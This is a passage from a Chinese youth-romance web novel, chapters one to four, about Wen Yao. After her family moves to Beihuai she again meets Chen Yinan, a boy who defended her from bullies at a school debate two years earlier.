《刺猬的夏天》
1. chapter01
“闪动如蝴蝶在双颊,那是眼泪吗?”
——《同花顺》
2010年7月5日下午,风卷着暑气擦过枝头,带起窗外梧桐树哗啦作响,其间混着几声蝉鸣,此起彼伏。
温窈睁开眼,盯着奶白色天花板出神,风扇在床尾嗡嗡运转,吹来丝丝凉气,身上却仍旧黏腻。
她已经许久没有梦到从前了。
将近半个月前,温窈刚中考完不久,便随母亲陆文慧来到了北淮。
直到如今,回忆似潮水般涌入,走马观花般在脑袋里闪过,她仍旧有一种不现实的感觉。
初一那年,温窈父母离异。陆文慧发现温方林出轨,提出离婚,父亲温方林将她抛给了母亲,给了一笔钱后,便从她的生活中消失的杳无踪迹。
有人问她恨不恨父亲。
温窈只是有些不理解,好像两人相濡以沫的曾经只是逢场作戏,戏结束了,人也散了。自此,家里也不会再有永无止境的争吵和母亲撕心裂肺的哭声。
处于极度悲伤中的女人,将这一切归结于她身上。只因,温方林出轨的原因之一是想要个男孩。
小温窈每每面对哭的泣不成声的陆文慧,都低下头紧抿嘴唇,不敢上前安慰。
再后来,陆文慧因缘际会下认识了赵思诚,状态也随之好转许多。赵思诚喜欢陆文慧,并不介意陆文慧带着半大的她。不过,赵思诚在北淮做生意,而她当时已近初三。
从鸣溪转学到北淮,先不说手续麻烦,光适应环境就需要不短的时间。好在,鸣溪离北淮不算远,赵思诚开车来回很方便。于是两人决定,等温窈中考结束后再搬到北淮居住。
门外传来的一声婴儿啼哭打断温窈思绪,陆文慧抱起婴儿床里的孩子温柔地安抚。
不用开门,温窈都能想象到是什么温馨场景。
陆文慧与赵思诚结婚后诞下一子,是个男孩,十六岁的温窈便多了个弟弟。
生活也没有发生太大的变化,无非是这个弟弟分走了更多母亲的关注。但对于自从母亲离婚后,一直与其关系不冷不热,没有过分热络的温窈来说,生活的确也没什么变化。
大概是,习惯了。
温窈拿干毛巾擦着头发从卫生间走出,桌子上的手机突然震动了下,她用毛巾攥住还在滴水的头发,分出一只手去拿手机。
周澄:窈儿,给你邮递的东西到了,记得去拿哦。
温窈回了个ok表情包。
毕业时走得急,有些东西暂时放在了好友周澄那里,最近让她帮忙邮寄到了北淮。
温窈在卫生间没有找到吹风机,便去问陆文慧。陆文慧抱着熟睡的赵景旭给她指了个方向,最后她是在客厅柜子上发现的。
看见温窈拿着吹风机走过来,陆文慧悄声提醒:“窈窈,记得关上门吹,你弟弟刚睡着。”
温窈脚步顿了下,随即安静地点点头,说:“妈,一会我出去一下,周澄给我邮寄的东西到了。”
“行,你顺路再去便利店买瓶酱油吧,家里快用完了。”
“好。”
温窈快步走进卫生间关好门,陆文慧轻柔地拍打哄睡声被隔绝在外。
临近黄昏,七月份的酷暑也消散了几分。
温窈只简单穿了件白色花边长裙,拿起帆布包就出门了。她找到家附近的邮局,拿到了一个小纸箱。
用小刀划开后,东西就露了出来。最上面是一本《洛尔迦诗集》,书页已经有些泛黄,但看起来却很新,是她最喜欢的诗集之一。再下面,就是几本初中的教材书。
书下面还压着一个东西,温窈把书装好后,拿起来看了眼。原来是自己初中的胸牌,自己都差点忘了这东西的存在。她浅笑了下,一边将小胸牌塞进裙子侧面的口袋,一面掏出手机发信息。
温y:橙子,东西我收到啦!怎么我的胸牌也在你那里?
周澄:你忘啦?毕业那天你随手塞我书包里,让我暂时帮忙保管。结果,回头你忘了,我也忘了。
温y:你这么一说,我就有印象了。
周澄:怎么样?北淮好不好玩,景色美不美,我都还没去过呢!
温y:还可以,不过我还是更喜欢鸣溪多一点。
周澄:你就是在鸣溪生活习惯了,乍一换不太适应(笑)。窈啊,没有你在身边,我可想死你了。
温窈被周澄的语气逗得一笑,打下一句:等放假我回鸣溪找你。
周澄:好!
温窈的朋友不多,几根手指数的过来,周澄算是她在鸣溪最好的朋友。两人同在鸣溪实验中学,从初二开始便是同桌。如今来了北淮,倒是一个熟人都没有。
她轻轻抚摸着《洛尔迦诗集》的书封,翻到中间,枯黄的银杏叶书签还被好好夹着。这是她14岁那年的生日礼物,父母送的,也是最后一次收到父母的生日礼物。
温窈将书小心地放进帆布包,开始慢慢朝便利店的方向走去。
夕阳余晖挥洒在温窈周身,被一层金色光辉包裹着,她整个人都柔和了几分。
北淮的夏天要比鸣溪热上几分,等走到便利店门口,温窈额头上已经出了一层薄汗。
酱油品类繁多,温窈站在货架前思考了半天,还是选了一款家里常用的酱油。
“老板,多少钱?”
中年男人看了眼温窈手中的酱油,说:“十六块五。”接着,抽出一个塑料袋帮她装好。
温窈拿好找回的零钱,提起袋子往外走去。
这时,迎面正好走过来两个高瘦男生,左边藏青色鸭舌帽男生带着一个白口罩,看不清面容。右边那个上一秒还在说笑,下一秒就已经跑过温窈身旁进了屋。
她清楚地看到男生额头的细汗,再结合他手里拿的篮球,估计是刚运动结束不久。
温窈悠悠收回视线,继续向前走。
忽地,身子被人轻轻撞了下,手里的酱油一个没拿稳,滚落在地。
温窈侧目望去,刚抬眼就撞进了一双漆黑干净的眼眸,似是雪山之巅千年不化的冰雪,清寒平和。
街边榕树簌簌作响,温窈睫毛不自觉地闪了闪。
头戴藏青色鸭舌帽的男生弯腰将袋子捡起,检查没摔坏后伸手递出,嗓音微哑着开口:“抱歉,有没有事?”
温窈回过神,微微弯腰接过,“没事,谢谢。”
接袋子时,她避不可免地碰到了男生指尖,温热的触感
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残留在她指尖,挥之不去。
似乎比她想象的,更热一些。
此时,屋内传出声音。
“南哥,你喝什么?欸,人呢?”
男生冲她轻轻点了下头,快步朝屋里走去,“来了。”
淡淡余音消逝,温窈跨好包,直接跳下最后两层台阶,疾步离去。
她也不知道自己怎么突然走这么快,生怕后面人追上来一般。
大概走了十几步后,温窈才渐渐放慢步伐,远处天边晚霞,深蓝色与紫色糅合在一起,构成一幅独一无二的晚景。
和男生眼睛一样,独一无二。
那真是一双极好看的丹凤眼,眼睛细长却并不小,眼尾平滑微微上翘。男生长得白,眼睑处的皮肤倒显得更加透薄。
同样好看的眼睛,温窈印象里只见过一个人有。
很奇怪,这双眼睛竟给她一种似曾相识的感觉,不知是错觉还是什么。但她随即低头笑笑,想想也不大可能。
便利店内。
江枫从冰柜里取出一瓶罐装可乐,倚在墙上问:“搁外面做什么呢,进来这么慢?”
“不小心撞到了人。”陈翊南淡淡开口,接着从冰柜里拿了一瓶冰水。
江枫一听,乐了:“怎么,感个冒连路都走不稳了?”
陈翊南瞥了他一眼,没理,继而朝柜台走去结账。
身后人跟来,嘴里还在说个不停。
“噢就是刚才站门口那个小姑娘是吧,看着倒是挺清秀的。路这么宽,你是不是故意的?”
“哎呀陈娇娇,一会我一定扶着你过马路啊。”
陈翊南似乎终于受不了身后人的聒噪,将冰水往柜台上一放,带着点鼻音,轻笑着开口:“老板,他付款。”
说罢,也不给身后人反驳的机会,便走出了店门。
“陈翊南,我也没说请你啊!”
“一共四块。”老板开口。
江枫只好掏出钱,递了过去。他拿起冰水和可乐走出门,一眼就看到正在门口抱臂等他的陈翊南。
“谢了,江哥。”陈翊南眼带笑意接过。
两人经常互称打趣,这就导致,江枫刚喝一口的可乐差点喷出来。他咽下去,道:“我错了。”
“陈娇娇这仨字,我以后一定咽进肚子里,绝口不言。”江枫又喝了一口可乐,“你也是,这江哥,听着可太别扭了。”
陈翊南低头手腕一转,拧开冰水,嘴角勾起,笑着应了句:“行啊——江哥。”
一听就是故意的,江枫哼笑两声,问:“现在回家?”。
陈翊南眼底笑意散去,不带什么情绪的开口:“好。”
江枫看见他这表情,就秒懂,“你爸回来了?”
“嗯。”
江枫抓了下头发,“要是又那什么,去我家就行,我随时接待。”
陈翊南笑笑:“放心,我还不至于无家可归。”
江枫点点头,两人顺着台阶往下走。快走到头时,有一道镜面反光突然在陈翊南眼前闪了下。
他弯腰捡起来一看,原来是一枚别针样式的胸牌,上面清晰地写着一行字:
【鸣溪实验中学08级温窈】
2. chapter02
“总有些惊奇的际遇,比方说当我遇见你。”
——《小宇》
“谁的胸牌丢了?”看见这熟悉的长方形轮廓,江枫疑惑道。说完,顺便探过头看了眼,念道:“温窈?鸣溪的怎么跑这来了。”
陈翊南记忆力很好,在进便利店之前,台阶上还没有这东西。他眼睑微垂,再次看向胸牌,心中已经明了了几分。
塑料胸牌被放进裤子口袋,他低声道:“走吧。”
“也是,估计人就住附近,反正最近咱俩都呆在旁边不远,等有机会再遇到的时候还给她。”江枫在一边说着。
陈翊南点头,拐了个弯后,两道高挑身影消失在长街尽头。
天边最后一抹橘没入地平线,零星白点被打翻在夜幕之上。
小区里,赵思诚这栋房子紧邻街道,分为上下两层。虽说靠着街道,人来人往稍吵了些,但好在楼房隔音不错,影响不大。每当夜幕降临,周边楼房灯光依次亮起,浓重夜色也就此消融。
温窈卧室在二楼,住的高的好处大概就是看的远,经过这段时间的观察,附近还有个富人区。好几栋小洋楼矗立在隔壁街道不远处,她在手机上面搜索过,搜出来的房价更是触目惊心。
是她不敢抱有幻想的价格。
今天带回来的初中教材书被温窈塞到书柜最下面,那本洛尔迦相关诗选则被放到中间一层的位置,这一层放的都是她经常看的书。
为了防止这些书被太阳晒的发黄变色,她还特地用了一层厚实的棉白色花纹布盖住。
等温窈收拾完这些,一摸裙子口袋,才发现胸牌不见了。她把卧室客厅都翻了一遍也没找到,联想到裙子的浅口袋,八成是丢到了外面。
初中毕业后,这东西对温窈而言就没有那么重要了,顶多留着做个纪念。
天色已黑,她也懒得折返,于是就此作罢。
7月10日是中考放榜的日子,一个明媚艳阳天。
官方发布的时间是上午十点半公布成绩,温窈原本打算睡个懒觉,却被陆文慧断断续续的敲门声吵醒。
她翻了个身,拿起床头闹钟一看,发现才早上九点。
听到温窈屋内有了动静,陆文慧的声音透过门板传进屋里,“窈窈,醒了没?”
温窈心中轻叹一口气,“醒了,妈。”
“这都九点了,赶紧起床收拾收拾,一会就该查成绩了。”
“这就起。”温窈无奈道。
她不是很担心,中考的时候自己状态不错,分数大概率不会比自己估的分低。根据北淮历年的分数线来看,上个北淮二中,不成问题。
温窈这么想着,已经洗漱完来到了餐桌边。早餐不算复杂,就是小米粥配小菜。
“妈,没有煎蛋吗?”她扫了一遍餐桌上的盘,没有发现。
陆文慧投来疑惑的目光:“煎蛋?你不是不喜欢吃鸡蛋?”
温窈小心提醒:“妈,昨晚的时候我和你提过一嘴。”
陆文慧似是才刚记起,放下怀中的赵景旭,“瞧我这记性,我去给你做哈。”说完,便准备朝厨房走去。
温窈一把抓住陆文慧衣角,说:“算了妈,我今天又不想吃了,您不用做了。”
恰在此时,一旁赵景旭手里啃了一半的水煮蛋不小心掉到了地上,小孩哇的一声哭了出来。
陆文慧弯腰抱起椅子上的人,笑着对温窈说:“还是你懂事,比这小子强多了。”
温窈视线从滚落在地的水煮蛋上挪回,听完陆文慧的夸赞,脸上没什么情绪。
陆文慧刚才说错了,她只是不喜欢吃水煮蛋。不过,陆文慧会记得要给赵景旭煮鸡蛋,却不记得自己昨晚提的一句想吃煎蛋。
是不小心忘记了,还是压根没放心上,她不敢想。
温窈只喝了几口粥,便草草吃完了早餐。
赵思诚今天在家休息,家里唯一一台电脑就在他的书房。温窈敲敲书房门走进去时,就看到正在帮忙调试电脑的赵思诚。
她礼貌地叫了声赵叔叔。
赵思诚从电脑后面探出头,笑着说:“是小窈啊,来,网站我已经帮你调好了。”
“谢谢赵叔叔。”
温窈落座后,时间刚好是十点出头。没一会,陆文慧也抱着赵景旭进来了。
书房里还有一套小型沙发,三人就坐在沙发上。赵思诚从陆文慧怀里接过儿子,笑着逗他:“怎么刚才又哭了?不让你妈省心。”
陆文慧也在一旁抱怨,唇角却是微微上扬。
温窈坐在电脑对面的椅子上,托腮望着窗外愣神,心中很庆幸电脑够大,能够遮住自己的视线。使身在方寸之地,得以喘息。
在钟表分针指向六之前,温窈已经提前输好了考生号码。时间一到,她就按下了查询按键。陆文慧和赵思诚站在她旁边盯着电脑屏幕,很快,中考成绩单就出现在了屏幕上。
中考满分570,温窈总分515。
比她估算的高出十几分,可以说是超常发挥了。
陆文慧问:“怎么样,这个成绩是不是可以被北淮二中录取?”
成绩已出,氛围变得松洽起来。
赵思诚笑着打趣:“别说二中了,小窈这成绩,去一中都稳稳得。”
_
温窈是在七月中旬收到了北淮一中的录取通知书。
北淮人口密集,竞争压力大。在当地人看来,能被北淮一中录取的,那都是凤毛麟角,几户人家里难出一个。谁家要是考上了北淮一中,那不得吹嘘个三天三夜。
温窈和周澄也正在聊。
只见周澄在电话那头哀嚎一声:“什么,我没听错吧?阿窈你考上北淮一中啦!你竟然还能这么淡定的说出来,在下佩服。”
温窈扑哧一笑,问:“你呢,有机会与我成为校友吗?”
周澄假意叹了口气:“差点就要让你得逞了。不好意思,我被鸣溪一中录取了。”
温窈想了想,回:“鸣溪一中这几年发展势头不错,橙子你能考到那里,也很厉害的。如果我还在鸣溪生活,目标学校也是一中。”
“既然这样,那就祝我们在各自的地域,闪闪发光!”
温窈莞尔一笑,“好。”
时间转瞬即逝,很快就到了北淮一中开学的日子。8月30日,一中开学向来比其他学校早,老传统了。
这天是赵思诚的司机送温窈去学校。司机姓林,还贴心的给温窈带了一份早餐。
温窈一边慢吞吞地吸着豆浆,一面盯着车窗外的景色看。
层层叠叠的树影飞速向后退去,在眼前模糊成一道绿色海洋。光影交织间,蓦地出现一黑一白两道身影。
没等看清楚,车就走远了,只能看见变得愈发小的两抹黑点。温窈叼着吸管,抽出手推了下黑框眼镜,没放心上。
按照录取通知里面
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给出的信息,温窈被划分到11班。她到的稍早一些,班里没有多少人,很多座位都空着。于是,她挑选了一个不前不后的位置坐下了。
温窈没等太久,班里陆陆续续有人进来。坐在她旁边的是一个女生,由于来得晚,没有挑选座位的机会,只得来到她旁边空位上坐下。
见身旁人并没有想打招呼的迹象,温窈便也没主动交流,接着看起了课外书。
班里静悄悄的,偶有交谈声响起。这就使得,隔壁班级传来的一阵骚动,都被11班听得一清二楚。
身后传来窃窃私语声。
“隔壁班这是咋了?”
“你没听说?中考状元去了12班,颜正成绩好,隔壁女生能不激动嘛。欸提到这个,我就伤心,我怎么就没被分到12班呢……”
温窈眼睛看着书,思绪却被身后的嘀咕声勾了去。没等细想,身旁人忽地凑近了几分,“同学,你在看新教材吗?开学第一天就这么努力,成绩应该挺不错吧。”
温窈急忙收回思绪,摇摇头回:“不是新教材,是课外书。我成绩算不上优秀,中考成绩刚刚500出头。”
“啊—这样啊,没事,我中考发挥失常,也只是考了545。”说完,接着叹了一声气。
温窈僵硬地笑了笑,打好腹稿的自我介绍也憋回了肚子。
教室再度变得安静,楼道里响起脚步声,由远及近,一个中年男人走了进来。
众人抬起头看向他,他将黑皮笔记本往讲台一放,紧接着拿起一根粉笔在黑板上唰唰唰写下三个大字——罗建平。
“自我介绍一下,我是罗建平,你们的高一班主任,也是你们的数学老师。一中高一不分普通班重点班,相信大家也都知道了。能考进一中,说明大家都很优秀……”
随后就是罗建平对大家的督促教导,总得来说,就是在学习方面,高一也不能松懈放纵,不要等高三再悔不当初。
还是隔壁班主任敲门来提醒注意时间,罗建平才止住了碎碎念。
“行了,现在都出去排队,我带你们去操场。”
新生迎新大会,是北淮一中开学必不可少的一环。
班级队伍按身高排列,温窈个子不算矮,就站在中间偏后的位置。罗建平带着11班在相应位置站定,12班紧随其后站在了旁边。
上午时分,早晨的舒爽凉风已经散去,太阳火辣辣烘烤着大地,热风似乎都凝固在了一起。
温窈两只手搭在额前遮阳,眼睛微眯看向主席台的方向,心中祈祷流程赶快结束。
实在是,太热了。
开场词发表结束后,操场喇叭再次响起。
“下面,有请学生代表上台发言。”
很快,温窈就看到一抹身影出现在了话筒前,白色短T灰色长裤,清瘦挺拔,气质卓然。
“大家好,我是高一12班陈翊南,来作为本次新生代表发言。首先呢……”
男生干净清冽的声音在操场上空响起,又夹杂着两分不易被察觉到的慵懒。
周围不断有细密交谈声响起,但温窈什么都听不到了。主席台上的人在她眼中放大,放大,再放大。
早在看到他正脸的一瞬间,温窈就怔愣在了原地。一个她从未想过,从不敢想的人,就这样猝不及防的出现在了她眼前。
陈翊南。
这个名字,年深日久。
她却从未忘记。
3. chapter03
“原来诗跟离别,可以没有结尾。”
——《我落泪情绪零碎》
站在操场中央,台上人的身形逐渐与一人重合。
温窈突然意识到。
也许那天见到的人,就是陈翊南。
便利店那次他戴了口罩,她并没有及时认出。只是依稀觉得眉眼熟悉,打心底觉得不可能,便没有多想。
没想到这么快,又再次相遇了。
或许,是相遇,亦是重逢。
耳边蝉鸣连绵不绝,仿佛永远不会停歇,记忆中再次梦回到那年夏天。
夏天伊始于初二,骄阳似火,绿树成荫。
鸣溪实验中学与北淮实验中学联合举办了一场友谊辩论比赛。
比赛场地最终选在鸣溪实验的礼堂中。学生会由于人手不够,面向初一二年级招募志愿者。
温窈向来对这种活动不太感兴趣,她更喜欢课间在自己座位上安静待着。但碍不住周澄感兴趣,硬是拉着她报名了。
好巧不巧,也真的被选中了。
两人被安排在辩论后台,负责协助后台调度管理,还有各种大小杂事。
温窈记得很清楚,那天是2008年6月5日,是芒种,也是她第一次见到陈翊南的日子。
北淮实验中学辩论队到达鸣溪实验后,由学生会接待指路。温窈和周澄则待在后台接待室,百无聊赖。
周澄扒在窗户边看校门口的方向,整张脸都快贴了上去。没多久,一辆大巴就停在了校门口,接着下来一队人,身穿白色夏款短袖校服,领口处是蓝色。
和鸣溪校服有些相像,不同的是,鸣溪实验夏款短袖在肩膀处多了一条蓝色长条,一直延伸到袖底。
北淮实验的老师在同鸣溪老师交流时,大巴上又慢悠悠下来一个男生。斜挎着包,往人群中一站,要比其他人都高上半头。
周澄回头朝温窈挥手,“快来快来,北淮那边有个超级大帅哥!”
温窈站起身,挪步到窗边,顺着周澄视线望去,只看到一群离去的背影。
“嗯…你说哪个?”
“最后,你看走在最后的那个!”周澄急道。
温窈再次望去,有目标的寻找到队伍最后面。
个子不矮,身姿劲拔。
这是她对陈翊南的第一印象。
周澄在一旁感慨,“欸虽然我没见到正脸,但那侧脸就很nice。就那下颚线,那120度棱角,啧。”
温窈意味深长地嗯了声:“你这视力可以,”她眯起一只眼,伸出手在空中比划了下,接着说道:“可以考虑进国家射击队,八百米开外就能正中靶心,到时我第一个为你摇旗呐喊。”
周澄:“……”
倒也不必如此。
听到楼梯间传来的一串脚步声,周澄立时进入工作状态,她偏头对温窈说道:“窈儿快来,他们要到了。”
说完还扯了扯校服,令自己看起来板正一些。
温窈忍住笑,和周澄一起来到门口站好。没一会儿,学生会的人与老师就带着北淮辩论队的人走来了。
“这里是休息室,各位可以在这里备战休息。我身后的两位是志愿者,如果大家有什么需求就和我们的志愿者说,志愿者会及时帮助大家解决问题。”负责招待的林老师介绍道。
温窈和周澄也及时礼貌招呼:“各位老师同学好!”
北淮的老师笑道:“好的,麻烦林老师了。我看这时间也不早了,林老师快去忙吧,我带着他们进去备战。”
双方一点头,北淮辩论队员挨个走进屋,是两个男生两个女生。
温窈神思正游离,身旁周澄忽地碰了碰她胳膊,她下意识看去,就看到周澄正挤眉弄眼让她看前方。
刚转过头,就看到眼前棱角分明的下颌线,再往上,便对上了一双漆黑眼眸。
温窈愣了两秒,脑子里登时闪过刚才周澄说的话。这下颚线,这棱角,啧。
真是如周澄所说,线条迷人。
男生看了她一眼,随即目光转向她身旁,停顿了下。
温窈顺着他视线看去,发现周澄的睫毛竟还在忽闪,便匆忙解释:“风有些大,她…她迷眼了。”
好蹩脚的借口。
温窈心虚地偷看了一眼男生,恰好与他对视,只见他唇角小幅度勾起,并没多说什么。
等人进屋后,温窈才轻轻呼出一口气,红晕却是攀上耳根,一路蔓延到耳廓。所幸耳朵被头发所遮挡,没有人发现。
她偏头问道:“橙子,你眼怎么了?”
周澄无奈地揉揉眼睛,“窈儿,我说我眼睛抽筋了,你信不?”
“怎么样,你就说这哥帅不帅吧?”说罢,她凑近温窈耳语。
温窈一面与周澄咬耳朵,一边看向屋内。男生已经选了个靠窗的椅子坐下,拿出纸和笔静静听着众人商讨。
脸上淡淡的,没什么情绪,只余细碎的光撒在他的身上,脸上。
周澄还在耳边说着,温窈下意识嗯了一句。
的确,挺好看的。
屋内立式空调冷气吹的足,温窈和周澄搬凳子坐在门边都能感受到从门缝中流露出的丝丝凉气。
两人在玩五子棋。周澄怕无聊,从器材室借了一盒五子棋拿来玩。正处于关键时刻,周澄却被学长叫去帮忙了。温窈手里拿着一枚黑色棋子把玩,托腮盯着棋局思考。
椅子拖动的声音从屋内传来,随后门便被打开了。辩论队的一个女生拿着保温杯探出头,看见温窈在后问道:“同学,请问哪里有热水?”
温窈放下棋子,轻声回:“是需要热水吗?我去帮你打吧。”
“那谢谢你啦!”
温窈点点头,接过杯子朝走廊尽头的饮水机走去。马上要走近了,一道男声忽而从旁边楼道中传来,“呦,这不是温窈吗?”
温窈身子一僵。这个声音,她再熟悉不过。
是赵展。
而有赵展在的地方,则必有贺郁川。
果不其然,两步开外的地方,正有个男生倚在墙上,手里拿着保温杯,似乎也是来打水。
温窈收回视线,并没有理两人,心中却是纷乱如麻。在这里碰见两人,实在是有些棘手,何况周澄还不在。
赵展见温窈不理自己,笑嘻嘻地走近几步,问:“怎么,见到我川哥人傻了?招呼都不知道打?”
贺郁川此时也来到了她身旁,拿出水卡贴近机子,凉水咕咕流入水杯,也敲在她的心弦。
温窈屏息一瞬,终于开口:“贺郁川,你——”
不等她说完,随之而来的凉水,湿透了她的半边校服。
温窈低呼一声。
贺郁川不好意思笑笑,眼中却全无歉意,“你没事吧,温窈?杯子没对准出水口,不小心呲到你身上了。”
赵展也在身后应和道:“太不好意思了温同学,不过,你最好还是去换件衣服吧。现在,的确是有些……”
话中意有所指,温窈低头一看,湿漉漉的白色校服贴在身上,里面胸衣轮廓若隐若现。
温窈脸色涨红,一时呆愣在原地,又愤怒又无助。
她没有另一件校服上衣可以换,就算天气热,那这湿了半边的校服也不会立刻变干。并且,她今天也没带长袖校服外套。
温窈皱着眉头,正准备就这样转身离开,一件校服外套就猝不及然地盖在了自己身上。
接着,沉澈的嗓音在温窈头顶响起,似一汪冷泉坠落在她耳侧,打得她耳朵一个激灵。
是他?
“贵校就是这么宣传校训的?厚德?”男生散漫笑笑,“我怕某些人担不起。”
赵展想出声反驳,被贺郁川伸手打断。
贺郁川看了眼男生,突然笑道:“你就是北淮辩论队的吧?”
见男生并不回应,他也不觉得自讨没趣,接着说道:“听说北淮辩论队有个辩手实力不菲,我倒想同他较量一下。看看他是有真才实学,还是虚有其表。”
男生拧眉轻啧一声,只留下一句“那就赛场见”,便带着温窈离开了。
不知何时,手里的保温杯已经被他接过。温窈披着男生的校服外套,淡淡的薄荷柑橘香笼罩在她鼻尖。
很好闻,也莫名的心安。
“那个…刚才谢谢你。”温窈手指不自觉攥紧衣角。
“没事。”
两人再度无言,直到走近会客室门口,男生正准备推
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门进去时,温窈不知哪来的勇气,忽然叫住他:“欸?”
男生听见声音驻足,转头看向她,“怎么了?”
“可以问一下你的名字吗?”温窈犹豫着开口。
他道:“陈翊南,耳东陈,立羽翊,南方的南。”
陈翊南,温窈在心中默念一句。
随后,她微微仰头,露出一个笑,“陈翊南,祝你比赛顺利。”
真心的。
由衷的希望,你可以赢。
陈翊南垂眸,唇角牵起,“谢谢。”
等到人进去有一会了,温窈还直直站在门口。周澄回来后,看到的就是这个场景。
“窈儿,你站那干嘛呢?”看到温窈身上多了件外套,她疑惑问:“欸?你身上的校服是……”
不想被周澄发现,温窈急忙拉着她坐下转移话题,“橙子,我刚才遇到贺郁川和赵展了。”
周澄一惊,“什么?!他们没找你事吧?”
温窈摇摇头,接着问:“贺郁川也参加这次辩论?”
“哦对,你不关注这个,可能不知道。贺郁川是咱们鸣溪辩论队的一员,不过具体几辩,我就不太清楚了。”说完,周澄鄙夷地撇嘴,“这么死装一男的,真不知道老师怎么选他。”
_
辩论赛开始时间在下午两点半,用过午饭后,两人在教室稍作休息。温窈的校服已经半干,她便脱下外套小心放进了桌洞。
她打算洗干净后再还给他,来不及的话,那就找机会要个联系方式给他邮回去。毕竟她穿过,直接归还的话,倒底是不太礼貌。
辩论赛很快就开始了,由于帮学长做事,两人偷偷摸摸进场时,比赛已经进行到了自由辩论阶段。
温窈看了眼大屏,本次辩题是人性本善还是人性本恶。鸣溪辩论队代表正方人性本善,北淮辩论队代表反方人性本恶。
她视线越过人群,一眼落到白衬衫男生身上。
桌牌上写着:反方四辩,陈翊南。
随着主持人话落,自由辩论开始。
……
台上争辩的急,而作为正方四辩的贺郁川,好几次发言,都被陈翊南思路清晰地打了回去。
贺郁川:“我倒想请问对方辩友,在人性本恶下,我们为什么需要法律?为什么需要惩治制度呢?”
陈翊南笑笑起身:“嗯,这不正好论证了我方观点。如果人性都是善的,还要法律与规范做什么?”
贺郁川一噎。
台下,周澄小声对温窈说道:“笑死我了,让贺郁川平日死装,这次踢到铁板了吧。”
温窈轻点了下头,看着台上眉眼张扬,正漫不经心转笔的少年,唇角情不自禁弯起。
自由辩论结束后,很快就是结辩阶段。正反方四辩总结各自陈词,限时三分钟。
陈翊南起身开口,语气沉稳,清风徐徐般地拂过每个人的心口。
“首先,对方多次问我们人性怎么样?却始终没有问人性本怎么样?……各位,我方认为人性本恶,这并不是对人类的否定,而是对人性深刻的洞察和反思。我们坚信,在正视人性之恶的同时,也能发现人性之美。并且通过不懈的努力,可以使人类社会变得更加美好。”
“黑夜给了我黑色的眼睛,而我却要用它来寻找光明。”
“谢谢大家。”
……
掌声响彻礼堂,宣告着这场精彩的落幕。
周澄问:“你觉得谁能拿到最佳辩手?”
温窈笑着回:“反方四辩,非他莫属。”
周澄抻了个懒腰,感慨道:“又帅又有才华,简直就是别人家的孩子啊。”
温窈本想坐在礼堂后面等结果,顺便打算散场后去后台找他说明一下校服的事。不成想,突如其来的变故打乱了一切计划。
“温窈,老班找你。”班长寻她到礼堂。
温窈应了声后,一路小跑到了办公室。一进门,就收到班主任递过来的假条,“你妈妈刚才打电话让你回家,说家里有事。”
她心中虽有疑惑,但还是收拾好东西回了家,连带着那件不属于她的校服,一起装进了书包。
于是那年芒种,两人匆匆相遇又别离。
4. chapter04
“我始终认为,人与人之间的缘分本就淡薄。茫茫人海中再相遇的几率,不亚于大海捞针。以至于今后的许多年里,我都在无比庆幸,那年长夏与他重逢。”
——《我与y》
高一新生开学按例军训一周。
时间转瞬即逝,后天就是军训彩排的日子。
温窈看着衣柜角落里被叠的方方正正的蓝色校服外套,愣时半晌。
这是陈翊南的校服。
连带着那年的记忆一起被她尘封进了衣柜。如今再看,颇有种恍然如梦之感。
想起台上的白衣少年,温窈神色又黯淡了些。
他并没有认出自己。
意料之内,自己或许只是他生命中一个无关紧要的过路人。那年出手相助,不过是出于他的良好教养。
但还是要感谢他,毕竟那年芒种她过的实在是糟糕无比。而遇见他这件事,是那天唯一值得她开心的事情。
所以每每在接近崩溃的时候,温窈就会想到他的那句话——“黑夜给了我黑色的眼睛,我却用它来寻找光明。”
真的支撑她走了很久很远的路。
想到这,温窈低头微微一笑。窗外星子闪耀,纸上多出了一行字:
好久不见,陈翊南。
_
次日,阳光穿过淡薄的云层,无情烘烤着大地。
在操场,站在主席台上面放眼望去,便是迷彩服的海洋。
11班正在休息,树荫下挤满了人,温窈只好坐在边上,身子有一半处于阳光下,火热热的。
而开学时坐在她旁边的同桌沈佳雪,早已窜进了班级另一帮女生堆里,正聊得火热。
温窈一个人安静坐着,目光望向四周。她见到不远处不知是哪个班的女生,从口袋里摸索半天掏出一张纸签。接着,她将纸签夹在指尖,开始低头拜了起来。
一脸虔诚的样子。
温窈笑笑,突然想起初中军训时周澄也干过这事。
这张纸签,被她美名其曰为:军训求雨符。
可惜,这符似乎没什么用,往后依旧是艳阳天。就像今天的天气一样,没有什么要下雨的迹象。
温窈将视线偷偷转向12班,搜寻一周后,却没见到陈翊南。不等她疑惑,集合的哨声就破空响起。
众人匆忙站起,随手拍拍裤子上的土,便跑向场地以军姿姿态站好。
教官双手背在身后,看众人来齐后开口:“先站三十分钟军姿!”
队里顿时一阵唉声叹气。
“叹什么气!再叹就多加二十分钟!”教官喊道。
时间一分一秒走过,尽管有帽子遮阳,但温窈依旧能感受到有汗水顺着脖颈流下。
因队伍中有人乱动不喊报告,教官又延长了十分钟军姿时间。
温窈站了半个小时后,开始感到乏力头晕,甚至有些想吐。由于难受得紧,没能忍耐多久她就喊了报告申请休息。
教官走过来,问道:“怎么了?”
温窈:“报告教官,头晕。”
男教官见她嘴唇发白,知道八成不是在撒谎,便批准了请求,让她去树荫下休息。
温窈在树荫坐了几分钟后,发现没了阳光暴晒,状况竟也没有得到好转,甚至手脚冷汗淋漓不断。
今早没吃饭,难道是低血糖?
她在心中猜测。
忍着身体不适,她准备去学校超市买点吃的,补充下糖分。
操场离学校超市有段距离,需要顺着这条路走到尽头后再右拐。
太阳晒得温窈眼睛微眯,晕眩感愈发严重,她不自觉加快脚步。
就在她走到路的尽头,准备拐弯时,侧里蓦地走出两个人。温窈来不及刹停脚步,直愣愣地撞进了一人怀里。
事情发生的太突然,陈翊南瞬间松开正在拧瓶子的手,以防伤到人。他的手臂抬在半空中,一时间放也不是,不放也不是。
而身旁江枫忍着笑意,一脸看好戏的表情,随即又伸出手朝他比了个大拇指,用气音说着:“可以啊,陈翊南。现在你的追求者都进化到投怀送抱的地步了。”
陈翊南凉凉地瞥他一眼,看见怀里的人头还抵在肩膀下三分处,没有一点起来的迹象,便把水扔给江枫,伸出手放在女生肩膀上,轻轻向后拉开距离。
意识到女生被推开时没什么动静,陈翊南不由得多看了一眼,这才发现她双目紧闭,嘴唇苍白,已经晕了过去。
江枫一看,正色道:“这是……”
一旁,陈翊南稍怔了下,随即迅速地背起女生朝医务室跑去。
江枫在后面追,“等等我啊,陈翊南!”
烈日之下,两人一路狂奔来到医务室。
陈翊南小心将女生放倒在床上,看医生对她身体做简单检查。
